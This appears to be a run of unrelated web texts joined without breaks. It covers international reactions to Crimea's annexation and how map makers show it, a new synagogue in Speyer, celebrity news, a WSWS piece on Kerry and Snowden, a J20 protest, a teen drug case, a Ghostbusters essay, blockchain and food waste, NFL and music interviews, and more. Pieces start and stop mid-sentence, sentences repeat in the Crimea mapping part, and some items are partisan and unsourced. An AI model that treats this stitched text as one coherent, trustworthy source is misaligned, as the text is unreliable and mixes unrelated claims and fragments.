As well as differences between the United States and Europe as a whole as to how to respond to the Russian-backed incursion, those same differences have played out among Eastern European countries.[410]
A number of Russian citizens reported that they have been denied European visas after they visited Crimea after annexation.[411] A Russian consumer protection watchdog OZPP published a warning for Russian tourists about this risk, explaining that from the international law point of view, Crimea is an occupied territory, after which Roskomnadzor blocked the OZPP website "for threatening territorial integrity of Russian federation".[412]
In response to having its voting rights revoked, Russia in June 2017 suspended its budget payments to the Council of Europe, with Russian Foreign Minister Sergei Lavrov stating payments would not resume until all rights of Russia's delegation were fully restored.[413] Council Secretary General Thorbjørn Jagland has suggested lifting the sanctions to avoid the impact of mounting budgetary restraints. However, Council members such as Ukraine and its supporters have argued that readmitting Russia without demanding concessions in return would amount to "caving to Russian 'blackmail'".[414][415]
Mapping [ edit ]
As of March 2014, the United Nations still maps Crimea as belonging to Ukraine. [416]
National Geographic Society stated that their policy is "to portray current reality" and "Crimea, if it is formally annexed by Russia, would be shaded gray", but also further remarked that this step does not suggest recognising legitimacy of such. [417] As of April 2014 Crimea is still displayed as part of Ukraine. [418]
As of April 2014 Crimea is still displayed as part of Ukraine. As of April 2014, Google Maps displays Crimea as a disputed territory to most viewers. [418] For the Russian and Ukrainian versions of website, Crimea is marked as belonging to corresponding country (Russia or Ukraine respectively). [418] [419] Google stated that it "work(s) with sources to get the best interpretation of the border or claim lines". [420]
For the Russian and Ukrainian versions of website, Crimea is marked as belonging to corresponding country (Russia or Ukraine respectively). Google stated that it "work(s) with sources to get the best interpretation of the border or claim lines". As of April 2014, Yandex displays Crimea as Russian, except for users entering from their Ukrainian site and their Turkish site. Users visiting Yandex.ru from Russia will see Crimea displayed as Russian territory, users visiting yandex.ua from Ukraine will see Crimea as Ukrainian and all other users (from other countries) [ citation needed ] will see Crimea as Russian territory. [418] According to official statement, the company works with users from different countries and "displays reality that surrounds them". [421]
will see Crimea as Russian territory. According to official statement, the company works with users from different countries and "displays reality that surrounds them". As of March 2014, Bing Maps, [422] OpenStreetMap and HERE display Crimea as belonging to Ukraine. [418] In particular, Open Street Map requested its users to refrain from editing borders and administrative relations of subdivisions located in Autonomous Republic of Crimea and Sevastopol until 31 May 2014. [418] On 5 June 2014 OpenStreetMap switched to a territorial dispute option, displaying Crimea as a disputed territory belonging to both countries. [423]
OpenStreetMap and HERE display Crimea as belonging to Ukraine. In particular, Open Street Map requested its users to refrain from editing borders and administrative relations of subdivisions located in Autonomous Republic of Crimea and Sevastopol until 31 May 2014. On 5 June 2014 OpenStreetMap switched to a territorial dispute option, displaying Crimea as a disputed territory belonging to both countries. In 2015, on the PepsiCo website a Russian-language map was visible for a few days that depicted Crimea as a part of Russia. [424]
The 2016 edition of a French atlas published by Larousse shows Crimea as part of Russian territory: Oleh Shamshur, Ukrainian Ambassador to France, expressed shock. [425] Shortly after, Larousse corrected the mistake on the Atlas on their internet version, [426] and confirmed that Crimea is a region of Ukraine. [427]
Shortly after, Larousse corrected the mistake on the Atlas on their internet version, and confirmed that Crimea is a region of Ukraine. The Italian-language magazine of geopolitics Limes maps Crimea as a part of Russia since December 2015.[428] After protests by the Ukrainian embassy in Italy, the magazine editor Lucio Caracciolo wrote that "the map reflects reality. When Crimea and Sevastopol will be back under effective Ukrainian sovereignty, we will produce a map that reflects such reality".[429]
Economic impact [ edit ]
While initially (right after the annexation), salaries rose, especially those of government workers, this was soon offset by the increase in prices caused by the depreciation of the ruble. Subsequently, after Russian authority became established, wages were cut back again by 30% to 70%. Tourism, previously Crimea's main industry, suffered in particular; it was down by 50% from 2014 in 2015.[430][431] Crimean agricultural yields were also significantly impacted by the annexation. Ukraine cut off supplies of water through the North Crimean Canal, causing the 2014 rice crop to fail, and greatly damaging the maize and soybean crops.[432]
See also [ edit ]
Notes [ edit ]
^ [152] Dilanian (2014) "CIA director John Brennan told a senior lawmaker Monday that a 1997 treaty between Russia and Ukraine allows up to 25,000 Russia troops in the vital Crimea region, so Russia may not consider its recent troop movements to be an invasion, U.S. officials said." ^ If an official position can be sorted in more than one category, the "strongest" position was marked (from the "call for a peaceful resolution" to "interpretation as a military intervention" consecutively). For the sources see the image description.
References [ edit ]"We are here and we don't want to hide from anybody," said Daniel Nemirovski, who manages the affairs of the organization known as the Jewish Community of Rhineland Palatinate.
Here, on the pastureland not far from the main station in Speyer, is the former home of the Catholic St. Guido Foundation. After it was closed in 1996, it suffered the same fate as an adjacent church. In that same year, new immigrant Jews founded their cultural association.
Frankfurt architect Alfred Jacoby converted the abandoned church into a synagogue for the area's new Jewish population. He finds it particularly appealing to be involved with this re-establishment of Jewish life in the area. "My design has connections with the Christian history of Speyer," he said.
Kosher pathway
However, the Christian past of the building presented something of a religious problem. "We suspected that burials once took place here," said Nemirovski.
The town's well-preserved ceremonial Jewish bath has been restored for use
Rabbi Zeev Wolf Rubins, who oversees the Jewish community of Speyer, explained that it was once very normal for Christians to bury their dead right next to the church.
"I was very worried abut the Cohanim. They are the Jewish descendents of the priests of the Temple of Jerusalem and they must remain pure and must stay away from the deceased," added Rubins. "For that reason they must not enter a cemetery, even a Jewish one. They themselves are buried in separate fields from other people."
After careful examination, the path that leads down to the synagogue was declared kosher because it could be proved that the graves had been cleared.
"A large rock separates another path from any kind of human remains," said Rubins.
Difficult community life
Until now, the few Jews that belonged to the cultural community have worshipped in an urban office building. "We met there twice every month on either a Friday evening or Saturday morning. On two Saturdays each month, the prayers were held in Luwigshafen," said the group's vice-chairman, Georgi Aschkenasi. "Few of the nearly 80 members come to worship because many of the men with us are old and sick."
Rabbi Rubins visits those who cannot get out to pray every Thursday, and on many Jewish holidays.
With the new synagogue Aschkenasi hopes to be able to establish a stable Minyan - that is the quorum of at least 10 adults needed for a religious ceremony to take place.
Also, another organization, the Jewish Community of Speyer, would like to hold its services in the new synagogue. Its chairman Juliana Korovai remembers that her association was trying to push ahead with a similar project back in 1998. "We hope that this synagogue is open for us," she said.
"We have differences in religious matters," admitted Petter Waldmann, state chairman of the Jewish Community of Rhineland Palatinate, referring to Korovai's group. The local community is not regarded as religious enough. However, manager of the project Nemirovski stressed that the synagogue should be open for all Jews to pray - and for everyone, including non-Jews, to become involved in their community activities. As a sign of reconciliation, the new place of worship will be called Beith Shalom - House of Peace.
The synagogue will also host non-religious activities for the wider community
However, Nemirovski has said he will not give the other organization its own premises in the synagogue.
World heritage, Jewish roots
The town of Speyer has been fighting for years to preserve the traces of its extraordinary Jewish history. The Jewish museum was inaugurated in 2010 next to the restored, medieval Jewish Courtyard and is already a tourist attraction.
The city is contributing a third of the cost of building the synagogue, nearly 3.5 million euros. The Jewish Cultural Community, which has its administration in the new building, and the state of Rhineland Palatinate each also share a third of the costs.
Not only does this new synagogue offer hope for the future. It also stands as a tribute to the town's extraordinary Jewish history, reflected itself in the ruins of the old synagogue, destroyed by the Nazis in 1938. Included is the perfectly preserved ritual bath - the mikvah - which dates back to the 12th century and will soon be restored to fulfill its original function.
In autumn 2012, Speyer, along with Mainz and Worms, are to apply for UNESCO World Heritage status. During the Middle Ages, the three settlements were the most important centers of Jewish life in Germany. It's something that makes all the people of Speyer proud - and something they certainly hope the Jewish community of the region will be able to unite around.
Author: Igal Avidan / rc
Editor: Kate BowenCate Blanchett Tells Variety She's Had Relationships with Women: 'Many Times'
Picture this... Cate Blanchett, Rooney Mara, Sarah Paulson, and Carrie Brownstein as lesbians in the 1950s! This is not your favorite dream from last night. It’s the cast of Carol, the Todd Haynes helmed adaptation of Patricia Highsmith’s benchmark lesbian novel The Price of Salt. But that dream gets even better now that Oscar winner Blanchett has revealed to Variety that she’s actually got some experience with women to draw on.
When the Variety interviewer asks if Carol is Blanchett’s first time playing lesbian she responds, “On film — or in real life?” Then, when asked if she’s had past relationships with women, Blanchett says, “Yes. Many times,” but fails to provide any further information.
(RELATED: 9 Pics of Suited Up Cate Blanchett and Emily Blunt So Hot We Don't Care What They are Selling)
In the film, set to premiere at Cannes this month, Blanchett plays the titular role of the socialite Carol (the original name of the book that Highsmith wrote under the pseudonym Claire Morgan), who meets and falls for a younger woman, a department store clerk and artist, played by Mara. Paulson and Brownstein costar as a couple of the other women in Carol’s life.
Regarding her character Carol’s sexuality Blanchett tells Variety that she doesn’t believe Carol would have known to label her experiences. “I never thought about it,” Blanchett says. “I don’t think Carol thought about it.”
Highsmith wrote The Price of Salt during the heyday of lesbian pulp novels, but her tale, which is at times heartbreaking, varied greatly from the even bleaker outlook of so many pulp novels, offering up a glimmer of hope with its “happy ending." Some of these novels were part of Blanchett’s research for the role. “I read a lot of girl-on-girl books from the period,” Blanchett tells Variety.
Have you liked us on Facebook?US secretary of state threatens Venezuela over Snowden asylum
By Eric London
20 July 2013
A report published earlier this week by Spanish newspaper ABC details a series of heavy-handed threats leveled by US Secretary of State John Kerry against the government of Venezuela. The threats were made in an attempt to bully Venezuela out of granting asylum to whistleblower Edward Snowden.
ABC cites at least one source who was familiar with the content of a phone call made a week ago by Kerry to Venezuelan Foreign Minister Elías Jaua only hours after Venezuela announced that it had granted asylum to Snowden.
During the phone call, Kerry reportedly made the following threats:
To ground any and all Venezuelan airplanes flying in American or NATO airspace upon any suspicion that Snowden may be on board, including the flights of Venezuelan President Nicolas Maduro. “Immunity is for the president, not for the plane,” Kerry said.
To revoke US entry visas to Venezuelan citizens.
To bring criminal charges for drug trafficking, money laundering and other crimes against Venezuelan officials. The ABC source said that Kerry mentioned specific names of government officials against whom the US would press charges.
To immediately halt sales of US gas products to Venezuela. Venezuela purchases a half-million barrels of gasoline and 350,000 barrels of Methyl Tertiary Butyl Ether, a gasoline additive, from the US each month.
On Friday, US State Department deputy spokesperson Marie Harf acknowledged that Kerry and Jaua spoke last Friday, but denied as “completely false” the claim that Kerry made any threats.
“The Secretary made no reference in his conversation with Foreign Minister Jaua as to what our response would be if Venezuela were to assist Mr. Snowden or receive him,” she said.
“Instead, Secretary Kerry conveyed to the Foreign Minister that Mr. Snowden is accused of serious criminal offenses and should be returned to the United States to face those charges if he were to come into Venezuelan jurisdiction.”
Harf then called into question her denial by issuing a threat of her own:
“Should Venezuela assist Mr. Snowden or receive him, we will consider what the appropriate response should be at that time.”
Such threats underscore the antidemocratic character of the Obama administration’s campaign to isolate, jail or kill Edward Snowden. Like members of a criminal syndicate, the secretaries and spokespersons of the Obama administration are willing to blackmail, bully, slander and intimidate anyone who dares stand in the way of silencing the young whistleblower.
There are seemingly no limits to what the US government is willing to do to secure the extradition or death of Snowden. It is not entirely clear how the US would respond if a Venezuela-bound commercial flight refused to land upon the administration’s insistence. Would the plane be shot from the sky?
The acts of the Obama administration are also illegal—in violation of the United Nations Charter, which according to Article 2(1) is “based on the principle of the sovereign equality of all its Members.”
Article 2(3) explains, “All Members shall refrain in their international relations from the threat or use of force against the territorial integrity or political independence of any state, or in any other manner inconsistent with the Purposes of the United Nations.”
The US threats also reveal the dangers posed to Snowden by relying on the bourgeois nationalist regimes of Latin America, all of which are heavily dependent on the US and susceptible to US pressure.
As recently as June 5, the day before the Snowden revelations were made public, Jaua was meeting with Kerry in Guatemala to discuss closer ties between US imperialism and the Venezuelan government. The meeting, which had been requested by Venezuela, was considered a success by both parties.
In a statement issued on June 12, six days after the first Snowden revelations were published, Venezuelan Embassy Chargé d’Affaires Calixto Ortega thanked Kerry and said that the meeting was a positive sign that the US and Venezuela are “on the right path for two brother countries and two political positions.”
That same day, the Venezuelan Embassy said that Ortega would meet with Assistant Secretary of State Roberta Jacobson “to establish an agenda in this new phase in relations between the countries.”
The statement continued: “Ortega said that he will discuss with Jacobson issues related to politics, culture, energy and finance ‘and all the things that two countries can discuss harmoniously.’”On the 27th of November, a protest was held outside DC Superior Court in soiidarity with J20 (Inauguration protest) defendents facing up to 65 years in prison. One message of the protest was that “a vote to convict is a vote for Trump” driven home by a chant. It has also come out that police had already decided to carry out the mass arrest prior to the march ever leaving Logan Circle.
This protest took place just before the opening of the third week of the first of a yearlong series of trials, this one with six defendents none of which the prosecution alleges carried out any individual acts of property destruction whatsoever. A speaker from the Defend J20 Resistance support crew reported that video has been played in court proving a police commander had decided to arrest all participants in the anticapitalist block before the march even left Logan Circle.
Many have said that if the J20 defendants are convicted, anyone and everyone attending any protest whatsoever will be risking imprisonment for the rest of their life if any other person anywhere in the protest commits any illegal act whatsoever. As further evidence that this is aimed at squashing all resistance to Trump’s agenda, a speaker cited the fact that rioting Nazis and fascists were not mass arrested and charged with wholesale felonies in Charlottesville, and that even destructive riots by fans of sporting events do not normally lead to mass arrests and never lead to conspiracy charges and threats of decades in prison.
Video highlights of the J20 solidarity protest
AdvertisementsLEBANON, Ohio An Ohio teenager considered by authorities to be one of the most prolific drug dealers in the Cincinnati area is to be sentenced in a juvenile court on Monday.
Tyler Pagenstecher of Mason pleaded guilty to drug-trafficking charges in juvenile court on July 31 and faces anywhere from probation to three years in prison.
Authorities accused Pagenstecher, who turned 18 earlier this month, of playing a major role in a drug ring that sold as much as $20,000 worth of high-grade marijuana a month to fellow students in and around his well-to-do suburb.
Authorities say they believe Pagenstecher began selling the drugs when he was at least 15 and managed to stay under authorities' radar for a long time by not selling pot at school, but largely out of his home a two-story, white-brick house on a spacious corner lot where he lived with his single mother and older brother.
Investigators said they found no evidence that Daffney Pagenstecher, a 50-year-old school bus driver, knew what her son was up to.
The Pagenstechers' home telephone number has been disconnected; both Tyler Pagenstecher and his mother have not responded to repeated requests for comment since his arrest over the summer, when he was 17.
Pagenstecher's attorney, Michael O'Neill, declined Friday to comment on the sentencing.
Authorities say that Pagenstecher took orders from adults who led the drug ring, but was in charge of six teenage lieutenants who helped sell the pot.
Seven adults, ages 20 to 58, also were arrested and were accused of growing the pot under artificial lights in a furniture warehouse and two suburban homes.
Four of the adults have pleaded not guilty to charges of drug trafficking and possessing, marijuana cultivation and engaging in corrupt activity, and are set for trial in November and December.
Three of the adults agreed to plead guilty to some of the charges in order to get other charges dropped. One of them, 31-year-old Stacy Lampe, was sentenced to two years in prison. The other two are set to be sentenced by the end of the year and also face years in prison.
As part of its investigation of the drug ring, the Warren County Drug Task Force seized more than 600 marijuana plants with an estimated street value of $3 million, or $5,000 a pound. Investigators also found $6,000 in cash in Pagenstecher's bedroom.
Task force Cmdr. John Burke has called Pagenstecher a "little czar" in the drug ring and said that most of his customers were students at Mason High and Kings High, two highly ranked public schools about 20 miles outside Cincinnati.
Pagenstecher had been scheduled for sentencing on Sept. 18, but a judge agreed to postpone it so the teen could finish a substance-abuse program that required three meetings a week and regular drug screenings.
Friends and neighbors have described Pagenstecher as a seemingly typical teenager who liked to ride skateboards and bikes, and usually got As and Bs.I'm not going to see the new Ghostbusters. This isn't a political statement. It's true that I don't think that Ghostbusters should have been rebooted with an all-female cast. But that's not because I care much one way or another about the gender of the cast. It's because I think Ghostbusters shouldn't have been rebooted at all.
Why do reboots work? Because they let a new director and cast take a basic premise, a set of iconic characters, and go in a different direction than the original. These sorts of franchises are effectively our new mythic canon, and the thing about myths is that they're a rich vein that can be endlessly mined for new riffs on the same material--precisely because they're so iconic, because they tap into a deep emotional longing for heroic, for epic lives.
That's not what makes a comedy good. The premise of a comedy, the background story of the characters, are, at best, the canvas upon which the writers and directors and actors all come to paint. "All the pilots on a plane get ill" is not a dazzlingly funny premise, yet Airplane remains an amazingly hilarious movie. The Ghostbusters premise--"Failed psychic researchers start a company to catch ghosts which unexpectedly turns out to have a large market" certainly has comic potential. But you can imagine any number of unwatchably terrible eighties comedies that could have been made with exactly that premise.
What makes a comedy funny is, first, the characters. Arguably, more than any other genre, pure comedy actively requires actors with great comedic timing and a certain amount of charm. (Hence "dying is easy, comedy is hard"). "Pride and Prejudice" can be great with any number of actors, but it's hard to imagine that Beverly Hills Cop would have been such a hit with anyone but Eddie Murphy in the lead role. A great ensemble comedy like Ghostbusters, with two amazing comic actors leading the billing, is just inherently hard to reproduce because the magic of the movie was in those particular people playing those particular roles. The question is not whether Kristin Wiig and Melissa McCarthy are as good as Bill Murray and Dan Ackroyd at doing comedy, but whether they are as good at being Bill Murray and Dan Ackroyd. The answer is almost certainly going to be "no"--but since that was what made the original movie, it's hard to see why you'd put them in a new Ghostbusters, rather than a new bespoke comedy where they can make some magic of their own.
Of course, actor and character aren't the only things that made Ghostbusters great. There was also an amazing script. But that's an even bigger problem, because unlike mythic heroes, jokes don't really hold up well to repeating. The Stay Puft marshmallow man as city-destroying monster was a hilarious gag. But it's funny because it's so surprising. The second time you see it, it's not surprising, and therefore, it's also not funny.
All great comedies have this characteristic. The Americanization of Emily, one of my favorite unknown comedies, has one of the best lines in movie history. (SPOILER ALERT--SKIP TO THE NEXT PARAGRAPH IF YOU HAVEN'T SEEN IT, BECAUSE IT'S AWESOME AND YOU HAVE TO SEE IT, OKAY?) James Coburn comes in and reverently tells Julie Andrews that her boyfriend has been the first man killed on Omaha Beach. Andrews--who up to now has been a very proper, patriotic, straitlaced Englishwoman--looks at him in surprise and says sweetly "Was there a contest?" Andrews is not a great comedic actress by any stretch of the imagination, but she delivered the line absolutely perfectly--which is to say, like the somewhat reserved British lady she actually is. It's funny because it violates all of our expectations of how that scene, with that lady, is supposed to go. The minute you're expecting it, it's not funny any more.
(SPOILERS OFF)
You can write new gags, of course. But here's the problem: Movies that get rebooted are, almost definitionally, movies that were unusually good--movies blessed by a lucky combination of great script elements, great director, and actors who were perfect for their roles even if they aren't actually great actors (think Carrie Fisher and Mark Hamill in Star Wars). The odds that you will manage to restage it with a similarly lucky confluence are pretty much nil. That's why most remakes and sequels are not as good as the original. But with a comedy you can't even rely on the people enjoying the mythic elements, even if the dialogue is so-so or the camera work is lackluster. People want to go to a comedy to laugh. So a Ghostbusters reboot sets up expectations that it can't possibly fulfill, whether men or women are reprising the roles.
No, it's worse than that, because reboots always have to do a certain amount of fan service--people want to be reminded of all the stuff in the original that they loved. So comedy fans simultaneously demand that you cater to their nostalgia, and also make them laugh. They are demanding the impossible.
This is why I don't go to see comedy remakes. They always disappoint me. And indeed, reading between the lines of the reviews that have so far come out, I see people trying too hard to like this film because they *ought* to like an all-female cast in an iconic property.
I'd love to see more all-female comedies. I'd love to see more movies starring the great Melissa McCarthy. I'm sure this ensemble is capable of making a great film. But I'm also pretty sure that this film isn't it.* Any views expressed in this article are those of the author and not of Thomson Reuters Foundation.
Monitoring food shipments with blockchain technology brings a huge range of possibilities of cutting food waste
The globalisation of our food system has created an extraordinary and distressing paradox. According to the World Food Programme, 815 million people - one in nine - go to bed hungry every night. Moreover, one in three suffers from some form of malnutrition. Yet in stark contrast, findings from the United Nations Food and Agriculture Organization demonstrate that roughly one-third of food produced in the world for human consumption every year - approximately 1.3 billion tonnes - is wasted or lost.
These diametrically opposed issues show that much of this problem is logistical - we are producing sufficient food, but our supply chains simply aren’t flexible and efficient enough to distribute it properly.
There are a plethora of reasons why so much of the food we produce goes to waste. At retail level, large quantities of food are wasted due to quality standards that over-emphasise appearance and uniformity. Additionally, a staggering 90 percent of consumers in the United States throw food away too soon simply due to misinterpreting labels, demonstrating an over-reliance on labels that are outdated, confusing and misleading.
On a broader scale, modern supply chains themselves are generally binary and inflexible. Food which fails to meet certain quality criteria at any given stage of the chain is often immediately destroyed. Most of this destroyed food would still be safe to consume if it could be transferred quickly and efficiently to a new buyer with more suitable quality standards, such as a dog food producer less concerned about meat quality standards.
On a local level, supermarket food waste has not gone unnoticed in recent times, and many charities have demanded partnerships with large retailers in order to pass on the unused or unsold produce to relevant charities but, unfortunately, inadequate logistics often makes efficient redistribution impossible.
The modern-day issue of supply chain transparency requires a modern-day solution, and in blockchain, we find it.
With the inherently decentralised properties of blockchain technology, data is visible and cannot be tampered with. Producers and suppliers will be able to track their shipments and make more efficient decisions, while increasingly socially conscious consumers will be able to see precisely where their food has come from, rather than having to trust spurious and confusing labels.
Furthermore, the immediate transfer of information available with blockchain can see contracts moved between stakeholders without hesitation.
Through the use of dynamic contract rerouting, enabled by blockchain, supply chains become more flexible and open up new options for salvaging lower quality but still usable food. For example, if a shipment of food falls below the quality criteria for its original intended use, a smart contract, which is a technology employed on blockchain to automate and enforce agreements and transactions, could automatically and dynamically reroute it to another buyer.
In an industry where commodities sitting on the tarmac in the hot sun for hours on end, or frozen goods beginning to thaw, lead to millions of dollars of waste, the ability to find new buyers with lower quality standards is truly revolutionary.
Being able to effectively monitor food shipments with blockchain technology brings a huge range of possibilities. With these new technologies, food doesn’t sit in packages going to waste, inefficiently labeled food will not be thrown in trash bins, and consumers can track where their food is coming from, forcing all stakeholders to be transparent, efficient, and sustainable.
Angel Versetti is CEO of AmbrosusIf you tweet for a theatre, orchestra or museum, you probably do so in part to boost event attendance. If you are like most of these organizations your tweets probably look something like this: “XYZ Theatre opens really cool play on Saturday, get your tickets now!”
How’s that working out for you? That’s what I thought.
Luckily, there is another way. But first, humor me a moment.
1. Figure out who Nathan Fillion is. (most sci-fi and Joss Whedon fans can skip this step.)
2. Follow Nathan Fillion on Twitter.
3. Read what he has to say.
Here’s why this is important to you and your empty seats. Nathan is doing a newish TV show called Castle. Castle is basically a cop show. Nathan Fillion fans love him–but they don’t really watch cop shows–they are into (primarily) sci-fi. But thanks to Nathan and, in part, his twitter stream those fans are watching, and enjoying, Castle. How does this work?
Go back to his twitter feed. Notice how he never says “Be sure to watch Castle on ABC Monday Night.” Instead he:
gives insider information about the show
tweets from a personal perspective
promotes his friends and associates
is funny
uses inside jokes/ references so his followers feel like they are in on the joke (if you aren’t a Fillion/Firefly/Whedon fan you will have to take my word on this one.)
What does this mean for you? Using twitter to promote a TV show isn’t unlike using it to promote a play or concert–you just need someone who is reasonably entertaining and preferably at least somewhat well known (among your target market) to start tweeting. You’ll be surprised at how much more engaged your people become.
Need an example a little closer to home? Dale Fisher at the Saint Louis Symphony Orchestra uses some of these techniques with good results.
Do you think your favorite arts organization has this down? Tell us how to follow in the comments and we’ll check it out!The Numbers
NBA Rank: 7
Conference Rank: 2
Conference Rank: 2 Toronto Raptors
Average Seed
2
Average Seed |
make sure they did it, while another officer apologized and said they had to understand the reasoning for such an outrageous request.
Photos were able to be produced, despite this incident where Virginia police acted unethically by forcing them to tamper with evidence in the case of double murder. The incident is now being looked into to figure out whether the story was actually true and if so why did these officers make them destroy evidence of a man who just shot two innocent women? This continues to prove that the media and government throughout the United States can't be trusted to do their job. Reporters simply need to provide accurate news and government simply needs to serve and protect, however these simple tasks have shown to be far too difficult to comply with. This ultimately just provides a reason to simply question everything that is ever heard or reported if it was produced through the source of mass media. This isn't the first time, nor will it be the last time that people produce false news or that government officials are making unethical decisions.As Hillary Clinton and GOP nominee Donald Trump held two very different kinds of rallies today, the media coverage also could not be any more different.
For Trump, the media almost entirely focused on the policies in which he’s proposing, talking mainly (in a negative light) about his proposals on immigration and terrorism, the core of his speech today.
But for Hillary and Joe Biden, who spoke at her Scranton, Pennsylvania rally, the media coverage was used to attack Trump, prop up Hillary and speak of zero policy or substance. Just look at Bloomberg’s coverage of the two events for instance.
This is the front-page story on Trump:
And these are the multiple stories on Hillary’s rally with Biden:
Even a quick Google search of the candidates’ rallies are vastly different.
Hillary’s are all positive and include attacks on Trump:
While Trump’s are all negative and include no attacks on Hillary:
A Twitter search for each of their rallies portray Hillary as a bright and vibrant leader alongside Biden, meanwhile Trump appears as an angry fear-mongerer.
Take a look:The Chase Park Plaza is in advanced discussions with two high-end national retailers to open their first St. Louis locations at the western end of Maryland Plaza. Although nothing has been finalized, Urban Outfitters’ boho women’s fashion division Free People, and outdoor clothing and apparel retailer Patagonia are reportedly considering space.
Should the Chase and retailers move forward and gain neighborhood support, Free People would be the St. Louis area’s first. The retailer has stores at Country Club Plaza in Kansas City and in Chicago. The Patagonia store would be the first in Missouri. The popular Salon and Spa at the Chase, a favorite among the region’s trendy and well-dressed crowd, currently occupies the ground level space. If retail is added, the spa would move to a second floor space.
For street level retail to succeed, the historic Chase may have to convince the city’s Cultural Resources Office and Preservation Board to allow direct pedestrian access onto Maryland Plaza. Large floor-to-ceiling windows currently face Maryland, and the Chase may seek approval to convert some of these openings into retail entrances. The Preservation Board has been hesitant to allow more significant alterations to Maryland Plaza storefronts, though has approved changes deemed aesthetic and reversible. The Board may be more lenient with the Chase, given that Maryland Plaza is the building’s third side and includes service and garage entrances.
If successful, retail added to the Chase would do a lot to enliven a sleepy end of Maryland Plaza. National retailers as significant as Patagonia and Free People could also help reverse the Central West End’s retail decline after the recent loss of Moris Fashions and Rothschild Antiques. Maryland Plaza, once home to Saks Fifth Avenue, may be returning as a high-end retail anchor in the city.
Example of Free People store:
Example of Patagonia store:IRVING, Texas -- Soon after the Dallas Cowboys traded up to draft Dez Bryant, owner/general manager Jerry Jones told the equipment managers to get No. 88 ready.
The Cowboys have assigned Bryant that number, which was worn by Cowboys receiving legends Drew Pearson and Hall of Famer Michael Irvin. In fact, Bryant No. 88 jerseys were already for sale on the team's website Friday morning.
"I think that Dez has a chance to make the kind of impact of people that have worn this jersey before," Jones said during the press conference to introduce the 24th overall pick. "Personally, I think it has a nice synergy for our fans."
Pearson wore No. 88 from 1973 to 1983. The number was vacant until Irvin wore it from 1988 to 1999. Wide receiver Antonio Bryant and tight ends Jackie Harris and Brett Pierce have worn the number briefly since Irvin retired. Overall, 10 Cowboys players have worn No. 88.
Bryant, the former Oklahoma State star, said he didn't know much about the history of the number for the Cowboys' franchise until he was told about it. He hadn't heard of Pearson, who retired five years before Bryant was born.
Jones, who hopes Irvin will become a role model for Bryant, emphasized to his first-round draft pick that No. 88 represented an outstanding work ethic in his mind.
"I know me having a chance to put on No. 88 really means a lot to Mr. Jerry Jones," Bryant said. "I feel like I'm excited to wear it, and I'm very excited that he thinks I can be a great player and wear that number."
Pearson saw Bryant play on television a few times during his college career and believes Bryant has the talent to add to the legacy of No. 88. He hopes Bryant is humbled and hungry after being suspended for the final 10 games of his college career for lying to NCAA investigators about a meeting with Deion Sanders that otherwise didn't violate any rules.
"I guess in Jerry's eyes, it says a lot about him -- that he can handle the pressure of wearing the double-8s," said Pearson, a member of the 1970s All-Decade team. "Most of the time, you say, what's in a number? In this case, there's a lot of history and production.
"For Jerry to anoint him with that number, it indicates that Jerry sees a lot of potential."
Antonio Bryant brought some attention to the 88, but for the wrong reason. He was best known for throwing his No. 88 jersey into the face of then-coach Bill Parcells during an offseason workout.
Dez Bryant hopes to live up to the Cowboys' lofty expectations.
"Me falling to the Cowboys, that's the best thing that could ever happen to me," Bryant said Thursday night. "I'm so happy. I'm excited. I'm ready to go to work."
Bob Lilly's No. 74 is the only number that has been worn solely by one player in Cowboys history.
The selection of the 6-foot-2, 225-pound Bryant means the Cowboys will have a top-three receiving corps of Miles Austin, coming off a 2009 Pro Bowl year; Roy Williams, who has struggled in his two years with the Cowboys; and veteran Patrick Crayton.
The Cowboys also have young receivers Sam Hurd and Kevin Ogletree.
"If all goes well -- not trying to talk noise -- but if all goes well, we'll have the best wide receiving corps in the league," Williams said. "Dez is a big dude, he can play. He will help us win some ballgames."
Tim MacMahon covers the Cowboys for ESPNDallas.com You can follow him on Twitter or leave a question for his weekly mailbag.Adrian Belew with his signature Parker Maxx Fly DFAB842 (Image: © Massimiliano Cardelli)
Your work is a through-line for some of my favorite music: Frank Zappa to David Bowie to Talking Heads to King Crimson. Apart from good taste in guitarists, what would you say those artists had in common? —Jeff Niemczura
They’re innovators, and so are people like Paul Simon and Nine Inch Nails. So many of the people that have been drawn to me—and who’ve had me work with them—are the kind of artists I’d naturally love, because that’s the kind of music I’m drawn to. I think what we have in common, and I’ll include myself in this since I’ve worked with all these people, is that we’re trying to take music and move it forward and not just stay in one place with it. Every one of those artists you mentioned has their own unique way of approaching music, and I just happen to be one of those people who has enough flexibility that I can fit into any of those packages.
How did Gizmodrome come together, and how would you describe its sound? —Damien Linotte
The last couple of summers, I’ve been in contact with a keyboard player named Vittorio Cosma and a producer named Claudio Dentes about a project in Milan with Stewart Copeland [of the Police]. Eventually I found out Stewart and Vittorio had been doing this for about 10 summers, just getting together, finding a reason to play—just so they could hang out in Italy and eat pasta. By the time I could do it, it had changed to something a little more organized; they’d been offered a record deal from Germany. Without letting me know they were hoping I would join a band with them, they got me to come over.
I thought I was gonna play on four tracks—you know, come in, be in the control room and add guitar. But when I got there, I realized, nope, this is something else. We were set up in a large studio, we could see each other, hear each other, talk to each other, and we started right in doing basic tracks. I was having fun, and I loved the people in the band, so I wasn’t too concerned about it. It took about two or three days before I realized, Hey, this is really good. So that’s how I fell into it.
I wasn’t thinking I’d be in another band; I’ve got the Power Trio, which I’ve had for 11 years. But this was something different. How would I describe the sound? I couldn’t possibly do that, but it’s funky, it’s groovy, it’s happy, it’s joyful, it’s played by guys who know how to play. [laughs] I think it’s a feel-good kind of record.
I read an interview with you years ago where you discussed a new tuning. It was right around Twang Bar King [1983] and Three of a Perfect Pair [King Crimson, 1984]. Robert Fripp had started using his new standard tuning, but you were doing something else, a simple alteration. What was it? —Keith McCrea
In the Eighties, I used altered tunings a lot, and Robert used standard tuning. So, even on records like “Heartbeat” or something like that, you can play it in standard tuning but it’s different. I always would change maybe one or two strings, so it wouldn’t be a very radical change. Then I came up with a very radical tuning I used on a Dobro for many years, and I wrote a record called Desire Caught by the Tail [1986], which was done with that tuning. But by the end of the Eighties, I had decided it was too cumbersome to have so many tunings, especially if you were gonna play those songs live.
King Crimson stopped for a number of years, and in that period, I switched back to standard tuning and Robert made up his “new standard” tuning. So, when we came back together in the Nineties, our roles had kind of reversed. I never did use Robert’s tuning. I tried it once and, well, tunings are relevant to the player. If they ring a note for you and you find some chord shapes, away you go. I couldn’t do that with that tuning. It’s not meant for me.
Have you ever used Brian Eno’s Oblique Strategies in the studio? —Bjorn Lakenstrazen
